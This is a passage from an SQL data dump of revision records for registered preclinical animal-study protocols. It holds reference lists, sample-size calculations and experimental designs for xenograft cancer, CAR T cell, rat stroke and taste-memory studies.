Ten Dijke P, Zhu HJ (2020) Reactivation of BMP signaling by suboptimal concentrations of MEK inhibitor and FK506 reduces organ-specific breast cancer metastasis. Cancer Lett 493:41-54. doi:10.1016\\/j.canlet.2020.07.042\\n\\nNeckmann U, Wolowczyk C, Hall M, Almaas E, Ren J, Zhao S, Johannessen B, Skotheim RI, Bjorkoy G, Ten Dijke P, Holien T (2019) GREM1 is associated with metastasis and predicts poor prognosis in ER-negative breast cancer patients. Cell Commun Signal 17 (1):140. doi:10.1186\\/s12964-019-0467-7\\n\\nLiu S, Gonzalez-Prieto R, Zhang M, Geurink PP, Kooij R, Iyengar PV, van Dinther M, Bos E, Zhang X, Le Devedec SE, van de Water B, Koning RI, Zhu HJ, Mesker WE, Vertegaal ACO, Ovaa H, Zhang L, Martens JWM, Ten Dijke P (2020) Deubiquitinase Activity Profiling Identifies UCHL1 as a Candidate Oncoprotein That Promotes TGFbeta-Induced Breast Cancer Metastasis. Clinical cancer research : an official journal of the American Association for Cancer Research 26 (6):1460-1473. doi:10.1158\\/1078-0432.CCR-19-1373\\n\\n Li Y, Jin K, van Pelt GW, van Dam H, Yu X, Mesker WE, Ten Dijke P, Zhou F, Zhang L (2016) c-Myb Enhances Breast Cancer Invasion and Metastasis through the Wnt\\/beta-Catenin\\/Axin2 Pathway. Cancer Res 76 (11):3364-3375. doi:10.1158\\/0008-5472.CAN-15-2302\\n\\nLi Y, Drabsch Y, Pujuguet P, Ren J, van Laar T, Zhang L, van Dam H, Clement-Lacroix P, Ten Dijke P (2015) Genetic depletion and pharmacological targeting of alphav integrin in breast cancer cells impairs metastasis in zebrafish and mouse xenograft models. Breast cancer research : BCR 17:28. doi:10.1186\\/s13058-015-0537-8\",\"new_value\":\"Our previous publications in which zebrafish (and\\/or mouse) xenograft models were used:\\n\\nRen J, Liu S, Cui C, Ten Dijke P (2017) Invasive Behavior of Human Breast Cancer Cells in Embryonic Zebrafish. Journal of visualized experiments : JoVE (122). doi:10.3791\\/55459\\n\\nDrabsch Y, He S, Zhang L, Snaar-Jagalska BE, ten Dijke P (2013) Transforming growth factor-beta signalling controls human breast cancer metastasis in a zebrafish xenograft model. Breast cancer research : BCR 15 (6):R106. doi:10.1186\\/bcr3573\\n\\nZhou F, Drabsch Y, Dekker TJ, de Vinuesa AG, Li Y, Hawinkels LJ, Sheppard KA, Goumans MJ, Luwor RB, de Vries CJ, Mesker WE, Tollenaar RA, Devilee P, Lu CX, Zhu H, Zhang L, Dijke PT (2014) Nuclear receptor NR4A1 promotes breast cancer invasion and metastasis by activating TGF-beta signalling. Nature communications 5:3388. doi:10.1038\\/ncomms4388\\n\\nZhang L, Zhou F, Garcia de Vinuesa A, de Kruijf EM, Mesker WE, Hui L, Drabsch Y, Li Y, Bauer A, Rousseau A, Sheppard KA, Mickanin C, Kuppen PJ, Lu CX, Ten Dijke P (2013) TRAF4 promotes TGF-beta receptor signaling and drives breast cancer metastasis. Mol Cell 51 (5):559-572. doi:10.1016\\/j.molcel.2013.07.014\\n\\nRen J, Wang Y, Ware T, Iaria J, Ten Dijke P, Zhu HJ (2020) Reactivation of BMP signaling by suboptimal concentrations of MEK inhibitor and FK506 reduces organ-specific breast cancer metastasis. Cancer Lett 493:41-54. doi:10.1016\\/j.canlet.2020.07.042\\n\\nNeckmann U, Wolowczyk C, Hall M, Almaas E, Ren J, Zhao S, Johannessen B, Skotheim RI, Bjorkoy G, Ten Dijke P, Holien T (2019) GREM1 is associated with metastasis and predicts poor prognosis in ER-negative breast cancer patients. Cell Commun Signal 17 (1):140. doi:10.1186\\/s12964-019-0467-7\\n\\nLiu S, Gonzalez-Prieto R, Zhang M, Geurink PP, Kooij R, Iyengar PV, van Dinther M, Bos E, Zhang X, Le Devedec SE, van de Water B, Koning RI, Zhu HJ, Mesker WE, Vertegaal ACO, Ovaa H, Zhang L, Martens JWM, Ten Dijke P (2020) Deubiquitinase Activity Profiling Identifies UCHL1 as a Candidate Oncoprotein That Promotes TGFbeta-Induced Breast Cancer Metastasis. Clinical cancer research : an official journal of the American Association for Cancer Research 26 (6):1460-1473. doi:10.1158\\/1078-0432.CCR-19-1373\\n\\n Li Y, Jin K, van Pelt GW, van Dam H, Yu X, Mesker WE, Ten Dijke P, Zhou F, Zhang L (2016) c-Myb Enhances Breast Cancer Invasion and Metastasis through the Wnt\\/beta-Catenin\\/Axin2 Pathway. Cancer Res 76 (11):3364-3375. doi:10.1158\\/0008-5472.CAN-15-2302\\n\\nLi Y, Drabsch Y, Pujuguet P, Ren J, van Laar T, Zhang L, van Dam H, Clement-Lacroix P, Ten Dijke P (2015) Genetic depletion and pharmacological targeting of alphav integrin in breast cancer cells impairs metastasis in zebrafish and mouse xenograft models. Breast cancer research : BCR 17:28. doi:10.1186\\/s13058-015-0537-8\"},{\"key\":\"primary_readout_parameter\",\"old_value\":\"The work plan is as follows: previous in vitro high through put cell based assays have been\\/will be performed using a drug repurposing compound library to identify compounds with potential to target the aggressive mesenchymal behavior of lung and breast cancer cells. About 15 selected compounds with highest potency on cancer cells, and lowest toxicity on normal cells, will first be tested in zebrafish xenograft based assays (primary read out) and thereafter 3-5 compounds will be tested in in vivo mouse xenograft models (secondary readout). \\n\\nThus in our study two animal xenograft cancer models will be used. As primary readout the extravasation of tumor cells in a zebrafish xenograft model will be used, and as secondary readout parameter the metastasis of cancer cells in mouse xenograft models will be used.\\n\\nIn the zebrafish xenograft model (red) fluorescently labeled breast or lung cancer labeled cells will be injected in Duct of Cuvier (in which blood vessels are green fluorescently labelled) and be assayed for extravasation into the avascular tail fin area. Compounds (or vehicle solvent control) will be added to the egg water of the zebrafish, and tested for ability to inhibit extravasation. The zebrafish model (primary read out) will used for selection of most 15 promising compounds to be tested in subsequent mouse xenograft studies (secondary read out). \\n\\nThe effect of compounds on normal cells, including heart function will also be assessed by microscopic analysis; compounds that have severe toxicity will be discarded for further analysis.\\n\\nWe aim to inhibit the invasive behavior with novel inhibitory compounds at least 2-fold. The 2-fold is based upon our previous studies in which we tested TGF-beta receptor kinase inhibitors (see Drabsch Y, He S, Zhang L, Snaar-Jagalska BE, ten Dijke P (2013) Transforming growth factor-beta signalling controls human breast cancer metastasis in a zebrafish xenograft model. Breast cancer research:BCR 15 (6):R106); we aim that the newly identified compounds are as efficient as TGF-beta type I receptor kinase inhibitors, while not having the on-target toxicity on normal cells. \\n\\nIn our studies we will compare the effects of newly identified compounds to the inhibitory effects on extravasation in zebrafish xenogaft assays (and also heart toxicity effects) that are exerted by TGF-b receptor kinase inhibitors. \\n\\n\\n\",\"new_value\":\"The work plan is as follows: previous in vitro high through put cell based assays have been\\/will be performed using a drug repurposing compound library to identify compounds with potential to target the aggressive mesenchymal behavior of lung and breast cancer cells. About 15 selected compounds with highest potency on cancer cells, and lowest toxicity on normal cells, will first be tested in zebrafish xenograft based assays and thereafter 3-5 compounds will be tested in in vivo mouse xenograft models (see apparel application).\\n\\nIn the zebrafish xenograft model (red) fluorescently labeled breast or lung cancer labeled cells will be injected in Duct of Cuvier (in which blood vessels are green fluorescently labelled) and be assayed for extravasation into the avascular tail fin area. Compounds (or vehicle solvent control) will be added to the egg water of the zebrafish, and tested for ability to inhibit extravasation. The zebrafish model will used for selection of most 15 promising compounds to be tested in subsequent mouse xenograft studies.\\n\\nThe effect of compounds on normal cells, including heart function will also be assessed by microscopic analysis; compounds that have severe toxicity will be discarded for further analysis.\\n\\nWe aim to inhibit the invasive behavior with novel inhibitory compounds at least 2-fold. The 2-fold is based upon our previous studies in which we tested TGF-beta receptor kinase inhibitors (see Drabsch Y, He S, Zhang L, Snaar-Jagalska BE, ten Dijke P (2013) Transforming growth factor-beta signalling controls human breast cancer metastasis in a zebrafish xenograft model. Breast cancer research:BCR 15 (6):R106); we aim that the newly identified compounds are as efficient as TGF-beta type I receptor kinase inhibitors, while not having the on-target toxicity on normal cells. \\n\\nIn our studies we will compare the effects of newly identified compounds to the inhibitory effects on extravasation in zebrafish xenogaft assays (and also heart toxicity effects) that are exerted by TGF-b receptor kinase inhibitors. \\n\\n\\n\"},{\"key\":\"why_no_randomisation\",\"old_value\":\"For zebrafish xenograft experiments:\\nThe Tg (fli:EGFP) zebrafish embryos will be collected, and embryos with the same development stage (around 2.5 hpf) will be selected. The eggs will be randomly separated into different groups. One group will be exposed to compound and another group to vehicle control that will be added to the egg water. \\n\\nFor mouse xenograft experiments:\\nAfter injection of breast or lung cancer cells into nu\\/nu mice, they will be divided into two groups in which one group will be exposed to compound and another group to vehicle control. \\n\\n\",\"new_value\":\"For zebrafish xenograft experiments:\\nThe Tg (fli:EGFP) zebrafish embryos will be collected, and embryos with the same development stage (around 2.5 hpf) will be selected. The eggs will be randomly separated into different groups. One group will be exposed to compound and another group to vehicle control that will be added to the egg water. \\n\\n\"},{\"key\":\"secondary_readout_parameter\",\"old_value\":\"The selected compounds from primary readout (performed in Zebrafish) assays will be subjected for testing in mice xenograft models. We aim that compound(s) inhibit metastasis\\/colonization by significantly prolonging significantly metastasis free survival and also reduce the number of mice with detectable bone metastases by more than 50%. This is based upon our previous experiments (see for example publication: \\nDeckers M, van Dinther M, Buijs J, Que I, L\\u00f6wik C, van der Pluijm G, ten Dijke P. The tumor suppressor Smad4 is required for transforming growth factor beta-induced epithelial to mesenchymal transition and bone metastasis of breast cancer cells. Cancer Res. 2006 Feb 15;66(4):2202-9). \\n\\nTo test the effect of selected compounds (based upon zebrafish xenograft extravasation assay of MA-MB-231 cells) on metastasis of breast cancer cells we will: inject MDA MB 231 breast cancer cells that are labeled with luciferase expressing gene into the left ventricle (to bypass the lung circulation) of nude immune compromised mice and metastasis to bone analyzed using bioluminescent imaging (with IVIS). The MDA MB 231 cells have been repeated injected and isolated from bone and therefore these cells selectively metastasize to bone and not other tissues\\/organs.\\nThe mice will be exposed to compound(s) or vehicle control and effect on bioluminescent image signal in bones of mice analyzed ((every week for about 4-6 weeks). To further confirm the therapeutic effects of compounds we will follow up with histopathology on sections of bone from mice (for example, by examining the osteolysis by staining for osteoclast activity). . \\n\\nTo test the effect of selected compounds (based upon zebrafish xenograft extravasation assay pofA549 cells) on metastasis of lung cancer cells in mice we will: inject A549 lung adenocarcinoma cells (pre-treated with TGF-beta to stimulate their mesenchymal phenotype) that are labeled with luciferase expressing gene into the tail vein of nude immune compromised mice. The colonization of the lungs of mice that have be exposed to compounds or vehicle control will be measured by bioluminescent imaging (every week for about 4-6 weeks). To further confirm the therapeutic effects of compounds we will follow up with histopathology on sections of lungs of mice. \\n\\n\\n\\n\",\"new_value\":\"For subsequent studies we will examine the effect of selected compounds in mouse breast and\\/or lung cancer xenograft models.\\n\\n\\n\"},{\"key\":\"sample_size_calculation_details\",\"old_value\":\"For zebrafish experiments:\\n- Each experiment will be performed in triplicate.\\n- 15 compounds will be tested with two cell lines. \\n- Two groups: vehicle and control\\n- 50 larvae per groups (after which incorrectly injected embryos will be removed).\\n\\nBased on the power analysis of previous results, we have calculated that 50 larvae per group are required (including the loss of larvae) and minimal 3 biological cohorts for the robust generation of statistically significant groups for statistically significant inhibition of cancer cell burden upon treatment and publishing results. Zebrafish are not yet inbred such as murine models. In general (based on cancer type) 5 \\u2013 10% of the larvae die due to mechanical damage during the engraftment , subsequently 5 \\u2013 10% of the larvae will die during the experiment. \\n\\nTotal (minimal) zebrafish: 15 x 50 x 2 x 3 = 4500.  \\nInitial pilot experiments will be performed to optimize the concentration of (combinatorial) therapy. Three different doses for each compound.  15 x 50 x 2 = 1500 zebrafish\\n\\nSo total number of zebrafish: 4500 + 1500 = 6000\\n\\nFor mice xenograft experiments:\\nOne group of 10 mice will be treated with compound and another group of 10 mice will be treated with vehicle control.  For the calculation of the number of mice we used the program available at http:\\/\\/homepage.divms.uiowa.edu\\/~rlenth\\/Power\\/ This is based upon previous experiments; see for example: Zhou F, Drabsch Y, Dekker TJ, de Vinuesa AG, Li Y, Hawinkels LJ, Sheppard KA, Goumans MJ, Luwor RB, de Vries CJ, Mesker WE, Tollenaar RA, Devilee P, Lu CX, Zhu H, Zhang L, Dijke PT. Nuclear receptor NR4A1 promotes breast cancer invasion and metastasis by activating TGF-\\u03b2 signalling. Nat Commun. 2014 Mar 3;5:3388). We may have some mice that will be excluded from analysis because of misinjection. When we insert the parameters of previous experiments (sgima1 0.36) with a true differences of means of 0.441 and select a power of 0.9 with alpha of 0.05 we get 9 mice per group. Based upon previous experiments we expect that 1 mice will not metastasize. Therefore the group size is 10 mice. \\n\\nRegarding the statistical analysis: as we will look for inhibitory effects of compounds we will use a one sided T test statistical evaluation. (First we will conform that the distribution of the data is normal). \\n\\nWe plan to test 5 compounds (in the absence or presence of chemotherapeutic drugs): \\nTwo groups: vehicle and control.\\n\\nTotal (minimal) mice needed: 5 x 10 x 2 x 2 = 200 mice. \\n\\nInitial pilot experiments will be performed to optimize the concentration\\/injection route of (combinatorial) therapy. For 5 compounds we expect to use 50 mice for these pilot experiments.\\n\\nMoreover, for some targets we may want to complement with genetic studies in which the effect of depletion of targets on metastatic behavior is tested. Thus number on mice will be higher than the indicated 200 mice indicated here. For 5 targets we expect to to use 5 x 2 x 10 = 100 mice. \\n\\nThus in total we expect to use: 350 mice.\\n\\n\\n\\n\",\"new_value\":\"For zebrafish experiments:\\n- Each experiment will be performed in triplicate.\\n- 15 compounds will be tested with two cell lines. \\n- Two groups: vehicle and control\\n- 50 larvae per groups (after which incorrectly injected embryos will be removed).\\n\\nBased on the power analysis of previous results, we have calculated that 50 larvae per group are required (including the loss of larvae) and minimal 3 biological cohorts for the robust generation of statistically significant groups for statistically significant inhibition of cancer cell burden upon treatment and publishing results. Zebrafish are not yet inbred such as murine models. In general (based on cancer type) 5 \\u2013 10% of the larvae die due to mechanical damage during the engraftment , subsequently 5 \\u2013 10% of the larvae will die during the experiment. \\n\\nTotal (minimal) zebrafish: 15 x 50 x 2 x 3 = 4500.  \\nInitial pilot experiments will be performed to optimize the concentration of (combinatorial) therapy. Three different doses for each compound and vehicle control.  15 x 50 x 4 = 3000 zebrafish\\n\\nSo total number of zebrafish: 4500 + 3000 = 7500\"},{\"key\":\"other_species\",\"old_value\":\"Two model organisms will be used in this study: zebrafish and mice. ( I can only cross one, other should have been also crossed for experiments performed in zebrafish). \",\"new_value\":\" zebrafish embryos will be used to interrogate invasion of breast and lung cancer cells.\"},{\"key\":\"strain\",\"old_value\":\"Transgenic Casper zebrafish line Tg (fli:EGFP) will be used of embryonic stage: 2 days-post fertilization (dpf) (at start of the experiment with exposure of compounds). These zebrafish lack pigment and blood vessels are green fluorescently labeled. This allows for assessment of extravasation of fluorescently labeled cancer cells into tail fin area. \\n\\nMus musculus, nu\\/nu nude, female; at 5-8 weeks old the cancer cells will be injected and \\nThese animals are immune compromised as lack the thymus, and therefore are unable to produce T cells and are immunodeficient. They are ideal models for tumor biology and xenograft research on human breast and lung cancer cells.\\n\\n\\n\",\"new_value\":\"Transgenic Casper zebrafish line Tg (fli:EGFP) will be used of embryonic stage: 2 days-post fertilization (dpf) (at start of the experiment with exposure of compounds). These zebrafish lack pigment and blood vessels are green fluorescently labeled. This allows for assessment of extravasation of fluorescently labeled cancer cells into tail fin area. \\n\\n\"},{\"key\":\"title\",\"old_value\":\"Targeting the Mesenchymal Cancer Cell Phenotype for Therapeutic Gain\",\"new_value\":\"Targeting the Mesenchymal Cancer Cell Phenotype for Therapeutic Gain using Zebrafish Xenografts\"},{\"key\":\"sum_of_animals\",\"old_value\":\"Minimal total number of Zebrafish: 6000 (see calculation above).\\n\\nMinimal total number of Mice: 350 (see calculation above).\\n\\n\",\"new_value\":\"Minimal total number of Zebrafish: 7500 (see calculation above).\\n\"}]','2021-09-25 14:04:59','2021-09-25 14:04:59'),
	(232,200,'[{\"key\":\"intervention_type\",\"old_value\":\"\",\"new_value\":\"delivery_method\"}]','2021-10-19 12:18:22','2021-10-19 12:18:22'),
	(233,266,'[{\"key\":\"sum_of_animals\",\"old_value\":\"Group comparisons are determined about the (kidney) survival time, defined as achieving a stress score greater than 2 for more than 6 hours. A comparison is made with vehicle-treated animals. A minimum survival time of 60 days is assumed here. The expected median duration in the control group is 70 days. An extension to 85 days is clinically relevant. It can be assumed that there will be no failures up today 60. The log-rank test is used as a statistical test. This corresponds to a clinically relevant hazard coefficient of (85-60) \\/ (70-60) = 2.5. With an error of the first type of \\u03b1= 0.05 and an error of the second type \\u03b2= 0.2, the sample size is n = 20 per group. The use of a two-sided test is necessary because it cannot be ruled out that individual therapy groups also lead to a shortening of the (kidney) survival time, which would be significant since all test substances are already in clinical use elsewhere.\",\"new_value\":\"80 in total and 20 per group.\"},{\"key\":\"sample_size_calculation_details\",\"old_value\":\"\",\"new_value\":\"Group comparisons are determined about the (kidney) survival time, defined as achieving a stress score greater than 2 for more than 6 hours. A comparison is made with vehicle-treated animals. A minimum survival time of 60 days is assumed here. The expected median duration in the control group is 70 days. An extension to 85 days is clinically relevant. It can be assumed that there will be no failures up today 60. The log-rank test is used as a statistical test. This corresponds to a clinically relevant hazard coefficient of (85-60) \\/ (70-60) = 2.5. With an error of the first type of \\u03b1= 0.05 and an error of the second type \\u03b2= 0.2, the sample size is n = 20 per group. The use of a two-sided test is necessary because it cannot be ruled out that individual therapy groups also lead to a shortening of the (kidney) survival time, which would be significant since all test substances are already in clinical use elsewhere.\"}]','2021-10-19 14:49:41','2021-10-19 14:49:41');

INSERT INTO `revisions` (`id`, `protocol_id`, `changes`, `created_at`, `updated_at`)
VALUES
	(234,222,'[{\"key\":\"investigators_blinded_assessment\",\"old_value\":\"\",\"new_value\":\"no\"},{\"key\":\"original_animal_ethics_committee_application\",\"old_value\":\"animal experiment application still in progress (submitted later)\",\"new_value\":\"animal experiment application; Tierversuchsantrag: Aktenzeichen 55.2.2-2532-2-1480\"},{\"key\":\"financial_support\",\"old_value\":[\"industry\",\"grants\"],\"new_value\":[\"investigator_driven\",\"grants\"]},{\"key\":\"study_centre\",\"old_value\":[{\"name\":\"RCI\\/University of Regensburg\",\"city\":\"Regensburg\",\"country\":\"DE\"},{\"name\":\"Hannover Medical School \",\"city\":\"Hanover\",\"country\":\"DE\"},{\"name\":\"WWU M\\u00fcnster\",\"city\":\"M\\u00fcnster\",\"country\":\"DE\"},{\"name\":\"Miltenyi Biotec B.V. & Co. KG\",\"city\":\"Bergisch Gladbach\",\"country\":\"DE\"}],\"new_value\":[{\"name\":\"RCI\\/University of Regensburg\",\"city\":\"Regensburg\",\"country\":\"DE\"},{\"name\":\"Hannover Medical School \",\"city\":\"Hannover\",\"country\":\"DE\"},{\"name\":\"WWU M\\u00fcnster\",\"city\":\"M\\u00fcnster\",\"country\":\"DE\"},{\"name\":\"Miltenyi Biotec B.V. &amp; Co. KG\",\"city\":\"Bergisch Gladbach\",\"country\":\"DE\"}]},{\"key\":\"sample_size_calculation_details\",\"old_value\":\"Animal experiment application still in progress\",\"new_value\":\"Tierversuchsantrag: Aktenzeichen 55.2.2-2532-2-1480\"},{\"key\":\"sum_of_animals\",\"old_value\":\"342 (provisional number\\/ animal experiment application still in progress)\",\"new_value\":\"345 (incl. reserve animals)\"}]','2021-10-25 14:43:13','2021-10-25 14:43:13'),
	(235,105,'[{\"key\":\"link_to_data\",\"old_value\":\"\",\"new_value\":\"https:\\/\\/doi.org\\/10.1101\\/2021.10.26.465939\"},{\"key\":\"has_embargo\",\"old_value\":\"\",\"new_value\":\"no\"}]','2021-10-27 20:30:56','2021-10-27 20:30:56'),
	(236,222,'[{\"key\":\"experimental_design\",\"old_value\":\"CHLA255\\/ffLuc xenografts i.v.\\nA549\\/ffLuc xenografts i.v.\",\"new_value\":\"CHLA255\\/ffLuc xenografts i.v.\\nA549\\/ffLuc xenografts i.v.\\n\\nMonitor antitumor activity of human GD2-IL18 CART in xenograft model (in vivo): \\nFirst experiment: \\nLuciferase labeled GD2+ CHLA255 cells (neuroblastoma cells) are injected into NSG mice (i.v.). Fourteen days later the tumor load is measured using bioluminescence imaging (BLI). Human CAR T cells are then injected i.v. and the tumor load is measured weekly by means of BLI.\\nThe IL18 concentration is determined in the blood of the living animal.\\nOrgans (bone marrow, liver, spleen and lymphatic organs) are removed postmortem and investigated for the presence of CAR T cells, local immune and antitumor response, and signs of toxicity using flow cytometry, immunohistochemistry and RNA sequencing and functional testing.  \\nThree cohorts are compared:\\nGD2-IL18 CAR T cells (experimental cohort),\\nGD2-GFP CAR T cells (which produce an irrelevant protein, GFP, to control for the added value of IL18 in the experimental construct),\\nCD19-IL18 CAR T cells (which have an irrelevant CAR specificity) \\nSecond experiment:\\n\\nLuciferase labeled GD2+ A549 cells (adult lung carcinoma) are injected into NSG mice (i.v.), then the experiment is performed as experiment 1.\"},{\"key\":\"sample_size_calculation_details\",\"old_value\":\"Tierversuchsantrag: Aktenzeichen 55.2.2-2532-2-1480\",\"new_value\":\"Tierversuchsantrag: Aktenzeichen 55.2.2-2532-2-1480\\n\\nStatistical planning for comparative studies was done with G*Power. \\nThe calculation of the cohort sizes is based on the average reduction in tumor burden. Based on literature data (Biliang et al., 2017), a biologically relevant difference of 19.17% average reduction in tumor burdenwill be assumed between conventional CAR T cells and improved (experimental) CAR T cells with IL18 release. This results in an effect size of 1.95 in the Mann-Whitney U test (program G*Power). On the basis of a power of 80% (error of the 2nd type) and an error probability of p &lt;0.05 (error of the 1st type) in the Mann-Whitney U-Test (program G*Power), a calculated group size of n = 6 animals is determined. The minimum number of animals per condition for this experiment is 12 animals (a minimum of two runs, if no dose modifications are necessary) and the maximum number of 24 animals per group of CAR T cells, if two dose modifications (of 6 animals each) plus 1 validation of the identified dose (6 animals) will be performed.\"}]','2021-10-29 08:41:46','2021-10-29 08:41:46'),
	(237,270,'[{\"key\":\"strain\",\"old_value\":\"\",\"new_value\":\"mixed-breed piglets\"}]','2021-10-29 20:24:09','2021-10-29 20:24:09'),
	(238,252,'[{\"key\":\"primary_readout_parameter\",\"old_value\":\"The primary outcome is area under the curve for neuron specific enolase five days after ROSC. \",\"new_value\":\"The primary outcome is area under the curve for neuron specific enolase 40 hours after ROSC. \"},{\"key\":\"study_status\",\"old_value\":\"not_started\",\"new_value\":\"active\"}]','2021-11-01 10:23:22','2021-11-01 10:23:22'),
	(239,182,'[{\"key\":\"study_status\",\"old_value\":\"not_started\",\"new_value\":\"completed_but_not_published\"}]','2021-12-20 10:14:08','2021-12-20 10:14:08'),
	(240,276,'[{\"key\":\"yes_blinded_intervention_partially_details\",\"old_value\":\"rat surgeon and treatment preparer are two different people\",\"new_value\":\"rat surgeon and treatment preparer are two different people \"},{\"key\":\"study_arms\",\"old_value\":[{\"type\":\"control\",\"number\":\"1\",\"intervention\":\"physiological serum (NaCl)\"},{\"type\":\"intervention\",\"number\":\"2\",\"intervention\":\"Hepatocyte Growth Factor recombinant (HGFr)\"},{\"type\":\"intervention\",\"number\":\"3\",\"intervention\":\"Compound X\"}],\"new_value\":[{\"type\":\"intervention\",\"number\":\"5\",\"intervention\":\"Compound X 2 mg\\/kg (phase 1)\"},{\"type\":\"intervention\",\"number\":\"5\",\"intervention\":\"Compound X 5 mg\\/kg (phase 1)\"},{\"type\":\"intervention\",\"number\":\"5\",\"intervention\":\"Compound X 10 mg\\/kg (phase 1)\"},{\"type\":\"intervention\",\"number\":\"5\",\"intervention\":\"Compound X 30 mg\\/kg (phase 1)\"},{\"type\":\"intervention\",\"number\":\"5\",\"intervention\":\"Compound X at 2, 5, 10 or 30 mg\\/kg (most efficient bolus) completed by a continuous infusion of Compound X at 0.8, 2, 4 or 12 mg\\/kg\\/h (according to the bolus) over one hour (phase 1)\"},{\"type\":\"control\",\"number\":\"18\",\"intervention\":\"Physiological Serum (NaCl) (phase 2)\"},{\"type\":\"intervention\",\"number\":\"13\",\"intervention\":\"Hepatocyte Growth Factor recombinant (HGFr) (phase 2)\"},{\"type\":\"intervention\",\"number\":\"13\",\"intervention\":\"Compound X (phase 2)\"}]},{\"key\":\"hypothesis\",\"old_value\":\"Compound X decrease cerebral ischemia reperfusion injury after stroke \",\"new_value\":\"Compound X decreases cerebral ischemia reperfusion injury after stroke \"},{\"key\":\"primary_readout_parameter\",\"old_value\":\"efficacy based on the size of Area of Necrosis (AN) measured by MRI 24 hours after stroke standardized on the Area At Risk (AAR) mesured by MRI during occlusion\",\"new_value\":\"efficacy based on the size of Area of Necrosis (AN) measured by MRI 24 hours after stroke standardized on the Area At Risk (AAR) mesured by MRI during occlusion. We hope to reduce the cerebral infarct size (AN\\/AAR) from 40 to 19%.\"},{\"key\":\"secondary_readout_parameter\",\"old_value\":\"neuroscore evaluated 23 hours after the stroke \",\"new_value\":\"Functional examination &quot;neuroscore&quot; is evaluated 23 hours after the stroke: \\nSensory-motor tests evaluating the functional deficit are performed. 20 minutes per animal including: observation of spontaneous activity, assessment of gait including hooping or not, assessment of postural signs &quot;parachute&quot; reflex, lateral resistance stimulation.Each item is scored in detail for a score ranging from 0 to 22, with the highest score reflecting the most marked deficits. In practice, the scores observed in the control group do not go beyond 14 (Basalay and al. Scientific Reports, 2020).\"},{\"key\":\"sample_size_calculation_details\",\"old_value\":\"Sample size calculation for phase 2 : alpha 5%, beta 80%, minimal detectable difference  of 21% (AN\\/AAR) between HGF group and control group or between Compound X groupe and control group, Standard Deviation of 18%. \\nExpected number of drop-outs for phase 2 : 28% (mortality, AAR  &lt; 10% or cerebral hemorrhage on MRI per occlusion)\\nExpected number of drop-outs for phase 1 : 10%\",\"new_value\":\"Phase 1 is exploratory. There is no sample size calculation\\nSample size calculation for phase 2 : alpha 5%, beta 80%, minimal detectable difference  of 21% (AN\\/AAR) between HGF group and control group or between Compound X groupe and control group, Standard Deviation of 18%. \\nExpected number of drop-outs for phase 2 : 28% (mortality, AAR  &lt; 10% or cerebral hemorrhage on MRI per occlusion)\\nExpected number of drop-outs for phase 1 : 10%\"}]','2021-12-21 18:33:06','2021-12-21 18:33:06'),
	(241,277,'[{\"key\":\"study_arms\",\"old_value\":[{\"type\":\"control\",\"number\":\"W4-S1\",\"intervention\":\"Rats will be given water on the first four days of experiment and will be presented saccharine for the first time on the fifth day.\"},{\"type\":\"control\",\"number\":\"W3-S2\",\"intervention\":\"Rats will be given water on days 1, 2, and 4; saccharine will be presented on day 3 and day 5.\"},{\"type\":\"control\",\"number\":\"S5\",\"intervention\":\"Rats will be given saccharine each of the five days within our experiment.\"},{\"type\":\"intervention\",\"number\":\"W3S2-Scop\",\"intervention\":\"Rats will be given water on days 1, 2, and 4; saccharine will be presented on day 3 and day 5. Scopolamine will be infused via a cannula in the basolateral amygdala.\"},{\"type\":\"sham\",\"number\":\"W3S2-Veh\",\"intervention\":\" Sham: Rats will be given water on days 1, 2, and 4. Saccharine will be presented on day 3 and day 5. Saline solution will be infused via a cannula in the basolateral amygdala.\"}],\"new_value\":[{\"type\":\"control\",\"number\":\"W4-S1\",\"intervention\":\"Seven rats will be given water on the first four days of experiment and will be presented saccharine for the first time on the fifth day.\"},{\"type\":\"control\",\"number\":\"W3-S2\",\"intervention\":\"Seven rats will be given water on days 1, 2, and 4; saccharine will be presented on day 3 and day 5.\"},{\"type\":\"control\",\"number\":\"S5\",\"intervention\":\"Seven rats will be given saccharine each of the five days within our experiment.\"},{\"type\":\"intervention\",\"number\":\"W3S2-Scop\",\"intervention\":\"Seven rats will be given water on days 1, 2, and 4; saccharine will be presented on day 3 and day 5. Scopolamine will be infused via a cannula in the basolateral amygdala.\"},{\"type\":\"sham\",\"number\":\"W3S2-Veh\",\"intervention\":\"Seven rats will be given water on days 1, 2, and 4. Saccharine will be presented on day 3 and day 5. Saline solution will be infused via a cannula in the basolateral amygdala.\"}]},{\"key\":\"sum_of_animals\",\"old_value\":\"Since we obtained 5.8 from our calculation, we will therefore use 6 animals.\",\"new_value\":\"Since we obtained 5.8 from our calculation. Therefore, at least 6 animals per group will be included in the analysis, so we are including 7 per group to account for attrition (please refer to point number 20) yielding a total of 35 rats, among which at least 30 will be included in the analysis.\"}]','2022-02-18 19:30:39','2022-02-18 19:30:39'),
	(242,277,'[{\"key\":\"experimental_design\",\"old_value\":\"240 adult male Wistar rats (250\\u2212 300 g) will be used as experimental subjects. Animals will be implanted bilaterally with cannulas aimed at either the BLA or CeA. Rats will be allowed 7 days to recover. After recovery, rats will be randomly assigned to five groups: W4S1, W3S2, S5, W3S2-Scop, W3S2-Sal. Next, they will be water-deprived overnight after which they will be allowed to drink fluid for 10 minutes twice a day in a training chamber containing 10 water-filled 3mL burettes, one session in the morning and another in the afternoon. Taste solutions are presented during the morning sessions, the afternoon session serving to habituate the rats to the drinking chamber and schedule and prevent dehydration. The group labeled as W4S1 will be given water on the first four days and saccharine on the fifth day. The group W3S2 will be given water on days 1, 2 and 4; and saccharine on days 3 and 5. The group S5 will be given saccharine each of the five days of our experiment. The group W3S2-Scop will serve as our intervention group and will be given water on days 1, 2, and 4; and saccharine on days 3 and 5, with scopolamine infused directly in basolateral amygdala via the previously described cannulae. The group W3S2-Sal will serve as our sham group and will be given water on days 1, 2, and 4; and scopolamine on days 3 and 5, with saline solution being infused through the previously described cannulae.  \\n\\n\\nIn particularly described cases, the drugs will be administered either 1) 5 min before novel taste presentation; 2) immediately after novel taste presentation; 3) 5 min before retrieval, i.e. the second taste presentation on day 5 or 4) both 5 min before novel taste and 5 min before retrieval.\\n\\nThe data will be analyzed with a mixed two-way ANOVA with one repeated (familiarity: first, second etc. presentation) and one non repeated measure: the drug.\\n\\nDifferences between groups will be considered significant when  p&lt;0.05\\n\\nThirty minutes after exposure on the fifth day, rats will be sacrificed. Brains will be perfused with paraformaldehyde and extracted. Coronal slices will be obtained using a microtome. A calculated sample size of 6 brains per group will be analyzed. Tissues will be washed using PBS (phosphate-buffered saline solution) and will be exposed to antigen retrieval on boiling water. Samples will be washed again, submerged into a 